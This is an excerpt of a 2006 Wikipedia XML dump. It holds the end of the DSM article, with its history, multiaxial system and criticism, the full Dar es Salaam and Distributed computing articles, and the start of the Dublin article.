The criteria and classification system of the DSM are based on a process of consultation and committee meetings involving primarily psychiatrists. Therefore, the content of the DSM does not reflect all opinions on the subject of psychopathology, emotional distress and social functioning. Nor are there any objective, biological verifiable standards to which it adheres. The criteria, and the way they are applied by individual clinicians are at least to some extent influenced by cultural variables and are periodically altered to reflect the contemporary social landscape. What is and what is not considered a mental disorder changes over time. For example, prior to a psychiatric plebescite in 1973, [[homosexuality]] was listed in the DSM as a diagnosable mental illness. (All conditions entered in the ever-expanding DSM-IV are considered to be mental illnesses.  Far more conditions are added than are deleted.) It is also known that the diagnosis of some mental disorders is influenced by [[gender role]] expectations. That is, while diagnostic criteria do not mention gender, clinicians diagnose women's and men's behaviour in different ways.&lt;sup&gt;1&lt;/sup&gt; 

The categories do not represent a complete list of all psychiatric disorders or research topics. For instance, the DSM does not categorize mental disorders that are specific to other (i.e. non-American) cultures, such as [[Koro (sexual disorder)|koro]], [[susto]], or [[taijin kyofusho]]. The DSM categories do not include many uncommon or rare syndromes although at times they are mentioned in the text.

The primary and senior editor of the DSM through several revisions is one Robert L. Spitzer, M.D., who is the author of most of the mental illness descriptions.  His influence and domination in the North American field of psychiatry easily surpasses that of established professionals in any area of advanced study.

In the United States, health insurance typically will not pay for psychological or psychiatric services unless a DSM-IV mental disease diagnosis accompanies the insurance claim.  This fact has clearly fueled the ever-expanding number of disease categories.

== Brief history ==
Users should be reminded that the manual is, to an extent, a historical document. The science used to create categories, taxonomies, and diagnoses is based on statistical models. These systems are thus subject to the limitations of the  methods used to create them. [[deconstruction|Deconstructive]] critics assert that DSM invents illnesses and behaviors. Detractors of DSM argue that patients frequently fail to fit into any particular category or fall into several, that time limits and numbers of clinical characteristics required for a categorisation are arbitrary and that attention directed towards finding a suitable DSM category for a patient would be better spent discussing possible life-history events that precipitated a mental disturbance or monitoring treatment.  Since effective treatment is the aim of the psychiatric profession they would argue that it makes more sense to regard ailments on the basis of how they should be treated rather than on deciding what clinically irrelevant differences place them in one category and not another. This would allow for the modular treatment of different sets of symptoms, for instance prescribing antidepressants for a deficit of serotonin and tranquillisers to deal with acute anxiety.

* The first edition ('''DSM-I''') was published in [[1952]], and had about 60 different [[disorder]]s.

* '''DSM-II''' was published in [[1968]]. 
:Both of these editions were strongly influenced by the [[Psychodynamic psychotherapy|psychodynamic]] approach, which provides no sharp distinction between [[normal (behavior)|normal]] and abnormal.  All disorders are considered reactions to environmental events, with mental disorders existing on a continuum of behavior.  In this sense, everyone is more or less abnormal. The people with more severe abnormalities have more severe difficulties with functioning.

:The classificatory structure of early editions of the DSM was rooted in a distinction between two poles of mental disorder, [[psychosis]] and [[neurosis]]. A ''psychosis'' is a severe mental disorder characterized by a disconnection from reality. Psychoses typically involve [[hallucinations]], [[delusion]]s, and illogical thinking. A ''neurosis'', however, is a milder mental disorder characterized by distortions of reality, but not a complete break with reality. Neuroses typically involve anxiety and depression.

:Among the most noted examples of controversial diagnoses is the classifying in the DSM-II of [[homosexuality]] as a mental disorder, a classification that was removed by vote of the APA in [[1973 in gay rights|1973]] after three years of various gay activists groups demonstrating at APA meetings (see also [[homosexuality and psychology]]). 

* In [[1980]], with '''DSM-III''', the psychodynamic view was abandoned and the [[biomedical model]] became the primary approach, introducing a clear distinction between normal and abnormal. The DSM became ''atheoretical'' since it had no preferred [[etiology]] for mental disorders.

* In [[1987]] the '''DSM-III-R''' appeared as a revision of DSM-III. Many criteria were changed.

* In [[1994]], it evolved into '''DSM-IV'''. This work is currently in its fourth edition.

* The most recent version is the 'Text Revision' of the DSM-IV, also known as the '''DSM-IV-TR''', published in [[2000]]. The vast majority of the criteria for the diagoses were not changed from DSM-IV. The text in between the criteria was updated. 

* '''DSM-V''', is tentatively scheduled for publication in [[2012]], with initial planning having begun in [[1999]]. The APA Division of Research expects to begin forming DSM development workgroups in [[2007]] [http://www.dsm5.org/].

== A multiaxial approach ==
The [[Diagnostic and Statistical Manual of Mental Disorders]], presently in its fourth revised (IV-TR, 2000) edition, systemizes psychiatric diagnosis in five axes:
* ''Axis I:'' major mental disorders, developmental disorders and learning disabilities
* ''Axis II:'' underlying pervasive or personality conditions, as well as mental retardation
* ''Axis III:'' any nonpsychiatric medical condition (&quot;[[somatic]]&quot;)
* ''Axis IV:'' social functioning and impact of symptoms
* ''Axis V:'' [[Global Assessment of Functioning]] (on a scale from 100 to 0)

Common Axis I disorders include [[Clinical depression|depression]], [[anxiety disorders]], [[bipolar disorder]], [[ADHD]], and [[schizophrenia]].  Common Axis II disorders include [[borderline personality disorder]], [[schizotypal personality disorder]], [[antisocial personality disorder]], and [[Mental Retardation|mild mental retardation]].

The contents of the DSM are determined by experts whose mandate is to create a set of diagnoses that are replicable and meaningful. While the classification system was originally intended to enhance research into both diagnosis and treatment, the nomenclature is now widely used by both clinicians and insurance companies.

== Limitations ==
The DSM is intended for use by mental health professionals, and for use in research and administration. Appropriate use of the diagnostic criteria is said to require clinical training, and its contents &quot;cannot simply be applied in a cookbook fashion&quot; [http://www.psych.org/research/dor/dsm/dsm_faqs/faq81301.cfm]. APA notes that diagnostic labels are primarily for use as a &quot;convenient shorthand&quot; among professionals for the same symptoms. Further, people sharing the same diagnosis/label may not have the same [[etiology]] (cause), or require the same treatment (the DSM contains no information on treatment or cause for this reason).  The range and breadth of the DSM represents an extensive scope.  Impotence, premature ejaculation, jet lag, caffeine addiction, and bruxism are examples of surprising inclusions and are but only several that non-psychiatrists might not consider to be mental illnesses.

== Criticism ==

The DSM is routinely attacked for being unscientific. Columbia University acknowledges the unscientific nature of the DSM in their annual report of 2001, “Problems with the current DSM-IV categorical (present vs. absent) approach to the classification of personality disorders have long been recognized by clinicians and researchers.” Among the problems, they list “arbitrary distinction between normal personality, personality traits and personality disorder” and point out the interesting fact that the most commonly diagnosed personality disorder is 301.9, Personality Disorder not Otherwise Specified.

&quot;The field of mental health is highly subjective, capricious, and dominated by whims, mythologies, and public relations. In many ways it is a pop culture with endless fads but with no real substance.&quot; – Dr. Walter Fisher, Assistant Superintendent, Elgin State Hospital.

==See also== 
* [[International Statistical Classification of Diseases and Related Health Problems]]
* [[DSM-IV Codes |Complete List of DSM-IV Codes ]]
* [[Global Assessment of Functioning | GAF Scale]]

==Reference==
&lt;sup&gt;1&lt;/sup&gt; Ford, M. R. &amp; Widiger, T. A. (1989) Sex bias in the diagnosis of histrionic and antisocial personality disorder. ''Journal of Consulting and Clinical Psychology, 57'', 301-305.

==External links==
*[http://www.appi.org/dsm.cfx DSM home page at APPI]
*[http://www.behavenet.com/capsules/disorders/dsm4TRclassification.htm DSM-IV-TR online]
*[http://www.sierratimes.com/06/01/06/208_143_235_3_89351.htm Doyle Mills' TeenScreen+DSM Article]

[[Category:Medical manuals]]
[[Category:Mental illness diagnosis by DSM and ISCDRHP]]
[[Category:Classification systems]]


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  <page>
    <title>Dar es Salaam</title>
    <id>8500</id>
    <revision>
      <id>39657509</id>
      <timestamp>2006-02-14T23:52:22Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] delete duplicate word.</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

:''This article is about the city, for the region see [[Dar es Salaam (region)]]''.
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;margin: 0 0 1em 1em; width: 25em; border-collapse: collapse; font-size: 95%; float: right; clear: right;&quot;
|+ style=&quot;margin-left: inherit; font-size: larger;&quot; | '''Dar es Salaam'''
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| align=&quot;center&quot; width=&quot;135&quot; | City [[Seal (device)|seal]]
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| align=&quot;center&quot; colspan=&quot;2&quot; | ''City [[nickname]]: Dar&lt;/br&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Tanzania DaresSalaam.png|200px|Location of Dar es Salaam]]&lt;br&gt;Location of Dar es Salaam
|-
|'''Mayor'''
| [[Adam Kimbisa]]
|-
| style=&quot;white-space: nowrap;&quot; | '''[[Area]]'''&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;ndash;Land&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;ndash;Water
| style=&quot;white-space: nowrap;&quot; | [[]]&lt;br /&gt;162.5 [[km²]]&lt;br /&gt;0 [[km²]]
|-
| style=&quot;white-space: nowrap;&quot; | '''[[Population]]'''&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;ndash;Total ([[as of 2005|2005]])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;ndash;[[Population density|Density]]
| style=&quot;white-space: nowrap;&quot; | [[Metropolitan area]]&lt;br /&gt;2,456,100 ([[2005]]) &lt;br /&gt;
|-
| '''[[Latitude]]'''&lt;br /&gt;'''[[Longitude]]'''
| 6&amp;deg;48' S&lt;br/&gt;39&amp;deg;17' E
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Official website:''' []
|}

'''Dar es Salaam''' ({{lang-ar|دار السلام}} ''Dār as-Salām''), formerly '''Mzizima''', is the largest city (population 2,500,000 estimated 2003), economic centre and former capital of [[Tanzania]]. The city serves as the capital for the surrounding [[Dar es Salaam (region)|Dar es Salaam Region]] as well as, arguably, the de facto current capital of Tanzania.  Though inland [[Dodoma]] is the official capital, the vast majority of federal government employees live in Dar and most major political figures maintain residences here. Located on a harbour on the [[Indian Ocean]], its main railways originate in or near the city. Local industries include trade, food products, [[textiles]], [[cement]], and [[pharmaceuticals]]. About one half of Tanzania's manufacturing employment is located here despite the fact that Dar holds only ten percent of the population. Dar es Salaam is located at 6°48' South, 39°17' East (-6.8, 39.28333). [http://earth-info.nga.mil/gns/html/cntry_files.html] 

Though the city has a low violent crime rate, this is increasing along with the already high number of instances of theft as inequality increases and the amount of money available from Tanzania's thriving aid industry increases. One common nickname of the city is &quot;Bongo&quot; (meaning &quot;brain&quot; in Swahili), essentially implying that street smarts are what is needed to survive here. 

The economically important [[Tanzania-Zambia Railway Authority|Tazara]] railway runs from Dar es Salaam to [[Lusaka, Zambia]].  

Administratively, Dar es Salaam is broken into 3 districts:  [[Ilala]], [[Kinondoni]], and [[Temeke]].  

==History==
In [[1859]], [[Albert Roscher]] of [[Hamburg]] became the first European to land in Mzizima (&quot;healthy town&quot;). In [[1866]] Sultan Seyyid Majid of [[Zanzibar]] gave it its present name, an [[Arabic language|Arabic]] phrase meaning ''Haven of Peace''. Dar es Salaam fell into decline after Majid's death in 1870, but was revived in 1887, when the [[German East Africa Company]] established a station there. The town's growth was facilitated by its role as the administrative and commercial centre of [[German East Africa]] and industrial expansion resulting from the construction of the Central Railway Line in the early 1900s.

German East Africa was captured by the British during [[World War I]] and from then on referred to as [[Tanganyika]]. Dar es Salaam was retained as the territory's administrative and commercial centre. Under British [[indirect rule]], separate European (e.g. [[Oyster Bay, Tanzania|Oyster Bay]]) and African (e.g. [[Kariakoo]] and [[Ilala]]) areas developed at a distance from the city center. The town's population also included a large amount of South Asians. 

After [[World War II]], Dar es Salaam experienced a period of rapid growth. Political developments, including the formation and growth of the [[Tanganyika African National Union]] (TANU), led to Tanganyika attaining independence from colonial rule in December 1961. Dar es Salaam continued to serve as its capital, also when in 1964 Tanganyika and [[Zanzibar]] merged to form Tanzania. However, in 1973 provisions were made to relocate the capital to [[Dodoma]], a more centrally located city in Tanzania's interior. The relocation process has not yet been completed, and Dar es Salaam remains as Tanzania's primary city.

One of the deadly [[1998 U.S. embassy bombings]] occurred in Dar es Salaam; the other was in [[Nairobi, Kenya]].

==Culture==
[[Image:Dar-es-salaam-c1905.jpg|thumb|left|250px|Kaiserstrasse, Dar es Salaam, [[German East Africa]], c1905]]Downtown Dar es Salaam has a very Arabic and Indian flavor to it, with many small business proprieters being of those origins.  Many of the buildings and general layout of the downtown area have a frenetic, claustrophic feeling that lends itself to street vendors and restauranteers doing a good business.

The areas outside the city center are of a newer construction and are more spread out and disorganized ([[sprawl|sprawling]]).  There are very heavily populated by Africans, except for Oyster Bay, which still has a large &quot;western&quot; population. Unfortunately, though there is little in the way of open racially motivated hostility, the various ethnic communities of Dar es Salaam do not intermingle heavily. The edges of Dar es Salaam spreading are growing outward rapidly, taxing the transportation system and giving rise to fears that the city will start to suffer problems from Urban overcrowding in the near future.
A few local restaurants specialize in traditional Indian or Zanzibari cuisine, while many other establishments, such as the [[New Protein Bar]], serve traditional Tanzanian foods such as &quot;Nyama Choma&quot; (roasted meat) or &quot;Mishkaki&quot; (Shish Kabob) with salt and various hot peppers. There are also an ever-increasing number of international restaurants as the expatriot community and tourism grow.

There are a few museums such as the National Museum, the Village Museum, or the Botanical Gardens that one can visit, and within an hour's drive North is [[Bagamoyo]], home to the Kaole ruins.  There are beaches on the Kigamboni peninsula East of Dar es Salaam and on Kigamboni Island to the North that residents and tourists frequently visit.  The National Stadium hosts periodical football matches between rival Tanzanian clubs and Dar es Salaam's Simba club, as well as international matches.  

The first cineplex in [[Tanzania]] to show first-run Western and Indian releases was opened in Dar es Salaam in December of [[2003]].

==Trivia==
The building that houses The National Audit Office of Tanzania used to be a car salesroom before it was nationalised by the state shortly after independence.

Bongo is the commonly-used nickname for Dar es Salaam. The use of the word can be traced to the mid-1980s. Bongo is [[Swahili]] for 'brains'. It is thought that due to the hard economic times during [[Nyerere]]'s  rule, the only way one could survive was by using his brains. 'Bongoland' sometimes refers to Tanzania.

[[Masaki]] and Mikocheni are suburbs of Dar es Salaam

==Photos==
&lt;gallery&gt;
   Image:Ikulu-tz.jpg|State House Building - '''Ikulu''' in Dar-Es-Salaam
   Image:DarEsSalaam-RoundAbout.jpg|Round about at the Askari Monument
   Image:DarEsSalaam-SamoraMachelAvenue.jpg|Samora Machel Avenue with N.I.C. House
   Image:DarEsSalaam-Skyline.jpg|Ferry to Kigamboni, skyline of the city in background
   Image:DarEsSalaam-KigamboniBeach.jpg|Beach on the half island Kigamboni
   Image:DarEsSalaam-Buguruni.jpg|Shopping street in Buguruni
   Image:Bernard.19.10.95 014.jpg|Mafuta Building at Sunset
   Image:0531000225.jpg|Arusha from the Air
   Image:Askari.jpg|Askari Monument
   Image:Po (1).jpg|Dar Es Salaam International Airport
   Image:Jangwani -1.jpg|Fans Celebrate the Arrival of The football Team Young African Sports Club (Yanga)
   Image:National-stadium.jpg|National Stadium
   Image:Mnazi-mmoja.jpg|Mnazi Mmoja

Image:DSC00513.JPG|Sunset Kigamboni
Image:Jmosi2.jpg|Ferry at Kigamboni
Image:00023.JPG|Msimbazi Orphanage

&lt;/gallery&gt;

==External links==
* [http://maps.google.com/maps?ll=0.308304,32.577553&amp;spn=0.166014,0.234180&amp;t=k&amp;hl=en Google Satelite Image of Dar-Es-Salaam]

[[Category:Dar es Salaam| ]]

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  </page>
  <page>
    <title>Distributed computing</title>
    <id>8501</id>
    <revision>
      <id>41548849</id>
      <timestamp>2006-02-28T02:12:13Z</timestamp>
      <contributor>
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      <comment>Revert to revision 41453679 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Distributed [[computing]]''' is an aspect of [[computer science]] that deals with the coordination of multiple computers in remote physical locations in order to accomplish a common objective or task.  In distributed computing, the type of each computer, [[hardware]], [[programming languages]], [[Operating System]] and resources may vary drastically.  [[Clustering]] shares many things in common with distributed computing, but the main difference is the practical physical accessibility of the machines that are working together.  

Organising the interaction between each computer is of prime importance.  In order to be able to use the widest possible range and types of computers, the protocol or communication channel should not contain and use any information that may not be understood by certain machines.  Special care must also be taken that messages are indeed delivered correctly and that invalid messages are rejected which would otherwise bring down the system and perhaps the rest of the network.

Another important factor is the ability to send software over to another computer in a portable way so that it may execute and interact with the existing network.  Obviously, this may not always be possible when using differing hardware and resources, so other methods must be used such as cross-compiling or manually porting this software.

== Goal ==
There are many different types of distributed computing systems and many challenges to overcome in successfully designing one. The main goal of a distributed computing system is to connect users and resources in a [[Transparency (computing)|transparent]], open, and [[scalable]] way. Ideally this arrangement is drastically more [[fault tolerant]] and more powerful than many combinations of [[stand-alone]] computer systems.

Today [[Web Services]] provide the standard protocols for connecting distributed systems.

== Examples ==
An example of a distributed system is the [[World Wide Web]]. As you are reading a web page, you are actually using the distributed system that comprises the site. As you are browsing the web, your [[web browser]] running on your own computer communicates with different [[web server]]s that provide web pages. Possibly, your browser uses a [[proxy server]] to access the web contents stored on web servers faster and more securely. To find these servers, it also uses the distributed [[domain name system]]. Your web browser communicates with all of these servers over the [[Internet]], via a system of [[router]]s which are themselves part of a large distributed system.

=== Openness ===
Openness is the property of distributed systems such that each subsystem is continually open to interaction with other systems (see references).  [[Web Services]] protocols are standards which enable distributed systems to be extended and scaled. In general, an open system that scales has an advantage over a perfectly closed and self-contained system.

Consequently, open distributed systems are required to meet the following challenges:

; Monotonicity
: Once something is published in an open distributed system, it cannot be taken back.  
; Pluralism
: Different subsystems of an open distributed system include heterogeneous, overlapping and possibly conflicting information.  There is no central arbiter of truth in open distributed systems.
; Unbounded nondeterminism
: Asynchronously, different subsystems can come up and go down and communication links can come in and go out between subsystems of an open distributed system.  Therefore the time that it will take to complete an operation cannot be bounded in advance (see [[unbounded nondeterminism]]).

=== Scalability ===
{{main|Scalability}}

A scalable system is one that can easily be altered to accommodate changes in the number of users, resources and computing entities affected to it. Scalability can be measured in three different dimensions:

; Load scalability
: A distributed system should make it easy for us to expand and contract its resource pool to accommodate heavier or lighter loads. 
; Geographic scalability
: A geographically scalable system is one that maintains its usefulness and usability, regardless of how far apart its users or resources are.
; Administrative scalability
: No matter how many different organizations need to share a single distributed system, it should still be easy to use and manage.

Some loss of performance may occur in a system that allows itself to scale in one or more of these dimensions.

==== Multiprocessor systems ====

A [[multiprocessing|multiprocessor]] system is simply a computer that has more than one CPU on its motherboard. If the operating system is built to take advantage of this, it can run different [[process (computing)|processes]] on different CPUs, or different threads belonging to the same process.

Over the years, many different multiprocessing options have been explored for use in distributed computing. Intel CPUs employ a technology called [[Hyperthreading]] that allows more than one [[thread (computer science)|thread]] (usually two) to run on the same CPU. The most recent Sun [[UltraSPARC T1]], [[Athlon 64 X2]] and Intel [[Pentium D]] processors feature multiple processor cores to also increase the number of concurrent threads they can run.

==== Multicomputer systems ====
A multicomputer system is a system made up of several independent computers interconnected by a telecommunications network.

Multicomputer systems can be homogeneous or heterogeneous:
A [[homogeneous]] distributed system is one where all CPUs are similar and are connected by a single type of network. They are often used for [[parallel computing]] which is a kind of distributed computing where every computer is working on different parts of a single problem.

In contrast an [[heterogeneous]] distributed system is one that can be made up of all sorts of different computers, eventually with vastly differing memory sizes, processing power and even basic underlying architecture. They are in widespread use today, with many companies adopting this architecture due to the speed with which hardware goes obsolete and the cost of upgrading a whole system simultaneously.

== Architecture ==
Various hardware and software architectures exist that are usually used for distributed computing. At a lower level, it is necessary to interconnect multiple CPUs with some sort of network, regardless of that network being printed onto a circuit board or made up of several loosely-coupled devices and cables. At a higher level, it is necessary to interconnect processes running on those CPUs with some sort of communication system.

* [[Client-server]] &amp;mdash; Smart client code contacts the server for data, then formats and displays it to the user.  Input at the client is committed back to the server when it represents a permanent change.
* [[Three-tier (computing)|3-tier architecture]] &amp;mdash; Three tier systems move the client intelligence to a middle tier so that stateless clients can be used.  This simplifies application deployment.  Most web applications are 3-Tier.
* [[Multitier architecture|N-tier architecture]] &amp;mdash; N-Tier refers typically to web applications which further forward their requests to other enterprise services.  This type of application is the one most responsible for the success of [[application server]]s.
* [[Computer cluster|Tightly coupled]] (clustered) &amp;mdash; refers typically to a set of highly integrated machines that run the same process in [[parallel]], subdividing the task in parts that are made individually by each one, and then put back together to make the final result.
* [[Peer-to-peer]] &amp;mdash; an architecture where there is no special machine or machines that provide a service or manage the network resources. Instead all responsibilities are uniformly divided among all machines, known as peers.

*[[Service-Oriented Architecture | Service oriented]] &amp;mdash; Where system is organized as a set of highly reusable services that could be offered through a standardized interfaces.

*[[Mobile code]] &amp;mdash; Based on the architecture principle of moving processing closest to source of data

*[[Replicated repository]] &amp;mdash; Where repository is replicated among distributed system to support online / offline processing provided this lag in data update is acceptable.

== Concurrency ==
Distributed computing implements a kind of [[concurrency (computer science)|concurrency]].

=== Computing taxonomies ===
The types of distributed computers are based on [[Flynn's taxonomy]] of systems; [[SISD|single instruction, single data]] (SISD), 
[[MISD|multiple instruction, single data]] (MISD), [[SIMD|single instruction, multiple data]] (SIMD) and [[MIMD|multiple instruction, multiple data]] (MIMD). Other taxonomies and architectures available at [[Computer architecture]] and in [[:Category:Computer architecture]].

=== Computer clusters ===
{{main|Cluster computing}}
A cluster is multiple stand-alone machines acting in parallel across a local high speed network. Distributed computing differs from [[cluster computing]] in that computers in a distributed computing environment are typically not exclusively running &quot;group&quot; tasks, whereas clustered computers are usually much more tightly coupled. The difference makes distributed computing attractive because, when properly configured, it can use computational resources that would otherwise be unused. It can also make available computing resources which would otherwise be impossible. 

The [[Second Life]] grid is a heterogeneous multicomputer and so are most [[Beowulf (computing) |Beowulf]] clusters.

=== Grid computing ===
{{main|Grid computing}}
A grid &lt;!-- rest of this sentence is taken from the mail Grid computing article, so if it is wrong, that is too!--&gt;uses the resources of many separate computers connected by a network (usually the internet) to solve large-scale computation problems. Most use idle time on many thousands of computers throughout the world. Such arrangements permit handling of data that would otherwise require the power of expensive [[supercomputer]]s or would have been impossible to analyze otherwise.

Distributed computing projects also often involve competition with other distributed systems. This competition may be for prestige, or it may be a means of enticing users to donate processing power to a specific project. For example, stat races are a measure of what the most distributed work a project has been able to compute over the past day or week. This has been found to be so important in practice that virtually all distributed computing projects offer online statistical analyses of their performances, updated at least daily if not in real-time.  

See [[List of distributed computing projects]] for more information on specific projects.

=== See also ===
* [[Sequential consistency]]
* Memory models
** [[Shared memory]]
** [[Distributed memory]]
** [[Distributed shared memory]]
** [[Message Passing Interface]]
* [[Render farm]]s &amp;mdash; The [[render]]ing of [[3D computer graphics|3D computer images]] and movies is often spread between several computers to speed up the process.

*[[Application server]]
*[[:Category:Distributed_computing | Distributed computing category]]
*[[b:ComputerScience:Distributed_Systems|Distributed Systems wikibook]]
*[[Distributed computing environment]]
*[[Distributed memory]]
*[[Fallacies of Distributed Computing]]
*[[Flash mob computing]]
* [[:Category:History of computing | History of computing category]]
** [[History of computing]]
* [[Supercomputer]]
*[[List of publications in computer science#Distributed computing|List of distributed computing publications]]
*[[List of distributed computing projects]]
*[[Logical clocks]]
*[[Network of Workstations]]
*[[Parallel computing]]
*[[Peer to peer]]
*[[Snapshot algorithm]]
*[[Software componentry]]
*[[Synchronizer (algorithm)]]

==References==
* [[Antony Davies]]: ''Computational Intermediation and the Evolution of Computation as a Commodity'', &lt;u&gt;Applied Economics&lt;/u&gt;, June 2004, [http://www.business.duq.edu/faculty/davies/research/EconomicsOfComputation.pdf Online version]
*William Kornfeld and Carl Hewitt. [https://dspace.mit.edu/handle/1721.1/5693 ''The Scientific Community Metaphor'']  MIT AI Memo 641.  January 1981.
*Carl Hewitt and Peter de Jong.  ''Analyzing the Roles of Descriptions and Actions in Open Systems'' Proceedings of the National Conference on Artificial Intelligence. August 1983.
*Carl Hewitt. ''The Challenge of Open Systems'' Byte Magazine. April 1985.
*Carl Hewitt. ''Towards Open Information Systems Semantics'' Proceedings of 10th International Workshop on Distributed Artificial Intelligence. October 23-27, 1990. Bandera, Texas.
*Carl Hewitt. ''Open Information Systems Semantics'' Journal of Artificial Intelligence. January 1991.

=== Distributed computing infrastructure ===
* [http://www.clusterresources.com/products/moabgridsuite.shtml Moab Grid Suite] &amp;mdash; Cluster workload management, reporting tools, and end user submission portal
* [[Remote procedure call]] &amp;mdash; This high-level communication mechanism allows processes on different machines to communicate using procedure calls even though they don't share the same address space.
* [[Distributed object]]s &amp;mdash; Systems like [[CORBA]], Microsoft [[DCOM |D/COM]], [[Java RMI]], ReplicaNet [http://www.replicanet.com/], and others that try to map [[object oriented]] design onto the network.
*[[Simple Object Access Protocol|SOAP]]
*[[XML-RPC]]
*[[GLOBE]] [http://www.cs.vu.nl/~steen/globe/] &amp;mdash; Maintained by Andrew S. Tanenbaum and others.
*[[Group Communication]]
*[[Acute]] [http://www.cl.cam.ac.uk/users/pes20/acute/] &amp;mdash; Distributed functional programming with migration based on [[OCaml]].
*[http://pyro.sourceforge.net/ PYRO] &amp;mdash; [[Python programming language|Python]] Remote Objects - [[Free Software]] Distributed Object Technology
*[http://www.mathworks.com/products/distribtb/ Distributed Computing Toolbox] for [[MATLAB]] &amp;mdash; enables distributing [[MATLAB]] applications using technologies like [[Message Passing Interface|MPI]] or [[Load Sharing Facility|LSF]]
*[[BOINC]] &amp;mdash; Berkeley Open Infrastructure for Network Computing
*[http://www.globus.org/ GLOBUS] &amp;mdash; Home of the Globus Toolkit, an open source software toolkit used for building Grid systems and applications
*[[Beowulf cluster]]s [http://www.beowulf.org/] &amp;mdash; [[Linux]] based parallel computing using commodity hardware.

=== Distributed computing conferences and journals ===
* [http://www.dsn.org/ The International Conference on Dependable Systems and Networks]
* [http://www.podc.org ACM Symposium on Principles of Distributed Computing]
* [http://www.academicpress.com/jpdc Journal of Parallel and Distributed Computing]
* [http://www.computer.org/tpds/about.htm IEEE transactions on Parallel and Distributed Systems]
* [http://www.springeronline.com Distributed Computing]
* [http://www.dcoss.org ACM/IEEE Distributed Computing on Sensor Systems]

=== Proprietary infrastructure ===
* [[Cluster Resources, Inc.]] [http://www.clusterresources.com] &amp;mdash; Software workload and resource management tools
* [[DataSynapse]] [http://www.datasynapse.com]
* [[Digipede]] [http://www.digipede.net] &amp;mdash; Has a commercial, all .NET distributed computing solution for Windows.
* [[Entropia]] [http://www.entropia.com] &amp;mdash; (Defunct) Vendor of distributed computing software technologies.
* [[Internet Communications Engine|ICE]]
* [[OfficeGRID]] [http://www.officegrid.net] &amp;mdash; A grid solution from [http://www.meshtechnologies.com MESH-Technologies A/S].
* [[Parabon Computation]] [http://www.parabon.com] &amp;mdash;  One of the largest commercial distributed computing networks.
* [[Popular Power]] [http://www.popularpower.com] &amp;mdash; (Defunct) building a platform for Internet-wide distributed computing.
* [[United Devices]] [http://www.ud.com] &amp;mdash; One of the largest commercial distributed computing networks.
* [[Xgrid]] &amp;mdash; Software developed by Apple's [[Advanced Computation Group]].

== People who have contributed to the distributed computing research ==
{{dynamic_list}}
=== Foundations and Principles ===
Gul Agha, [[Henry Baker (computer scientist) | Henry Baker]], [[James Aspnes]], [[Hagit Attiya]], [[Will Clinger]], [[Danny Dolev]], [[Shlomi Dolev]], [[Michael J. Fischer]], [[Vassos Hadzilacos]], [[Carl Hewitt]], [[Leslie Lamport]], [[Nancy Lynch]], [[Michael Merritt]], [[Paul Spirakis]], [[Sam Toueg]], [[Aki Yonezawa]]

=== Systems ===
[[Ken Birman]], [[Frans Kaashoek]], [[Barbara Liskov]], [[Andrew Tanenbaum]]

== External links ==
*[http://www.distributedcomputing.info/ distributedcomputing.info]
*[http://www.hyper.net/dc-howto.html How-To: Join Distributed Computing projects that benefit humanity]
*{{dmoz|Computers/Computer_Science/Distributed_Computing/|Distributed computing}}
*[http://www.bacchae.co.uk/docs/dist.html A primer on distributed computing]
*[http://dsd.lbl.gov/ Distributed Systems Department]
*[http://www.distributed.net/ Distributed.net: Node Zero]
*[http://www.infosharkz.com/dc/ Info Sharkz Distributed Computing]
*[http://www.clusterbuilder.org/ Cluster Builder]
*[http://www.majestic12.co.uk/ Majestic-12 Distributed Search Engine]
*[http://www.ceid.upatras.gr/courses/katanemhmena/wiki/index.php Distributed Systems] at the [http://www.ceid.upatras.gr University of Patras]
*http://www.climateprediction.net

[[Category:Distributed computing| ]]
[[Category:Parallel computing]]
[[Category:Software architecture]]

[[da:Distributed computing]]
[[de:Verteiltes Rechnen]]
[[el:Κατανεμημένα συστήματα]]
[[es:Computación distribuida]]
[[fr:Calcul réparti]]
[[he:מחשוב מבוזר קהילתי]]
[[nl:Distributed computing]]
[[id:Komputasi Terdistribusi]]
[[ja:分散コンピューティング]]
[[pl:Obliczenia rozproszone]]
[[pt:Computação distribuída]]
[[ru:Распределённые вычисления]]
[[zh:分布式计算]]</text>
    </revision>
  </page>
  <page>
    <title>Dublin</title>
    <id>8504</id>
    <revision>
      <id>42052342</id>
      <timestamp>2006-03-03T13:48:38Z</timestamp>
      <contributor>
        <username>Palx</username>
        <id>367927</id>
      </contributor>
      <comment>/* See also */ dublin riots</comment>
      <text xml:space="preserve">:''This article is about the city in Ireland. For other uses of the name, see [[Dublin (disambiguation)]].''
{{Ireland_city_infobox |
  city_name     = City of Dublin |
  crest_image   = Image:Dwik.PNG |
  motto_latin   = Obedientia Civium Urbis Felicitas |
  motto_english = &quot;happy the city where citizens obey&quot; |
  map_image     = Image:Ireland map County Dublin City.png |
  pin_coords    = left: 94px; top: 67px |
  gps_coords    =  [[Latitude|Lat.]] 53.3472°N, [[Longitude|Lon.]] 6.2592°W |
  city_area     = 114.99 km&amp;sup2; |
  city_county   = [[County Dublin|''Dublin Region'']] |
  city_pop      = 495,781 (2002) |
  city_province = [[Leinster]] |
}} 
'''Dublin''' ([[Irish language|Irish]]: ''Baile Átha Cliath''{{fn|1}}) is the [[capital]] and largest city of the [[Republic of Ireland]], located{{fn|2}} near the midpoint of [[Ireland]]'s east coast, at the mouth of the [[River Liffey]] and at the centre of the [[Dublin Region]]{{fn|3}}. The city has been Ireland's capital city since [[Middle Ages|mediæval]] times. It is also the largest city on the island of [[Ireland]].

The term &quot;Dublin Region&quot; has become a substitute for the traditional [[County Dublin]], whilst &quot;[[Greater Dublin Area]]&quot; is accepted as including the city and all of counties [[Dun Laoghaire-Rathdown]], [[Fingal]], [[County Kildare|Kildare]], [[County Meath|Meath]], [[South Dublin]] and [[County Wicklow|Wicklow]]. The limits of the [[commuter belt]] stretch to a much greater distance than either of these areas.

